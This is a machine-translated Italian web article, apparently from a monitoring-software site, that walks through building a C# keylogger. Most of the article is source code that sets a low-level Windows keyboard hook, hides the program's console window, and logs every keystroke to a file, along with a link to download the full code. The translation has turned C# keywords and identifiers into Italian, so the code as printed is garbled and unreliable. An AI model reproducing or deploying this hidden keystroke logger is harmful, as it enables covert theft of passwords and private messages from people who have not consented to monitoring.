This is a machine translation. The original page (in English) is available here.
Windows
Mac OS
Mobile

Ultime notizie: 19 settembre, 2016 - Abbiamo aggiunto nuove categorie per il controllo dei prodotti di test: Webcam ed il Microfono di Registrazione ecc... Feed RSS

Home>Articoli>Fare Il Vostro Proprio Utilizzando Registratore di tasti C#.Net

AnyKeylogger per Mac

Fare Il Vostro Proprio Utilizzando Registratore di tasti C#.Net

da Arkadeep De

Che cos'è un Registratore di tasti ?

Il suo un programma che viene utilizzato per il chiave immessa da tastiera. di solito si utilizza per l'hacking scopi.

Secondo Webopedia :
Un Registratore di tasti è un tipo di software di sorveglianza (considerato il software o spyware) che ha la capacità di registrare ogni battitura si fanno in un file di registro, di solito crittografato. Un Registratore di tasti in grado di registrare messaggi istantanei, e-mail, e tutte le informazioni digitate, in qualsiasi momento, utilizzando la tastiera.
Qui ci mostrano che questo non hack somebodies computer, ma di conoscere il processo.

Quindi, consente di iniziare a dare il nostro Registratore di tasti.

Prima di avviare un'Applicazione Console in visual Studio.

Ora aggiungere spazio dei nomi

  • utilizzando Sistema.La diagnostica;

  • utilizzando Sistema.Windows.Forme;

  • utilizzando Sistema.Runtime.InteropServices;

  • utilizzando Sistema.IO;


Ora aggiungere privato variabili globali

private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;

Ora nel Main()

var handle = GetConsoleWindow();
ShowWindow(handle, SW_HIDE); // per nascondere l'applicazione in esecuzione
_hookID = SetHook(_proc);
Applicazione.Run();
UnhookWindowsHookEx(_hookID);

Ora aggiungere questo codice al di fuori del Main()

private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
utilizzando (Processo curProcess = Processo.GetCurrentProcess())
utilizzando (ProcessModule curModule = curProcess.MainModule)
{
ritorno SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.Nomemodulo), 0);
}
}

privato delegato IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
se (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Maresciallo.ReadInt32(lParam);
Console.WriteLine((Chiavi)vkCode);
/*per questo creare una cartella denominata "abc" in C dirve*/
StreamWriter sw = new StreamWriter(@"C:\abc"+ @"\log.txt", true);
//StreamWriter sw = new StreamWriter(Applicazione.StartupPath + @"\log.txt", true);
sw.Write((Chiavi)vkCode);
sw.Close();
}
torna CallNextHookEx(_hookID, nCode, wParam, lParam);
}

Ora aggiungere alcune Dll

[DllImport("user32.dll" CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll" CharSet = CharSet.Auto, SetLastError = true)]
[ritorno: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);

[DllImport("user32.dll" CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

[DllImport("kernel32.dll" CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);

[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();

[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

e alla fine fare il SW_HIDE 0

const int SW_HIDE = 0;

Ora dopo tutto questo, si avrà un errore nell'utilizzo del Sistema.Windows.Forme;.
Per evitare questo errore, è necessario aggiungere un riferimento di Windows.Le forme.

Come fare?
Fare clic destro sul nome del progetto in Esplora soluzioni. E fare clic su Aggiungi Riferimento.



Ora sul .Scheda rete di scegliere il Sistema.Windows.Modulo



E fare clic sul pulsante OK. Ora, se si verifica nel Riferimento della Soluzione Explorer si otterrà che il riferimento è stato aggiunto.



Ora Costruire(Premere F6) e controllare c'è qualche errore o non. Come per il codice non dovrebbe qualsiasi errore presente. Quindi eseguire il programma.

Se si esegue il codice con l'Applicazione.StartupPath poi controllare il file di log in bin -> cartella di debug. E si ottiene anche il .EXE in tale cartella. In modo da godere...

Scaricare il codice sorgente completo qui.
Leggi l'articolo completo
Home>Articoli>Fare Il Vostro Proprio Utilizzando Registratore di tasti C#.Net
IMPORTANTE! Computer di installazione di strumenti di monitoraggio sui computer che non possiedono o non hai il permesso di monitorare può violare locali, statali o federali.
Suggest translation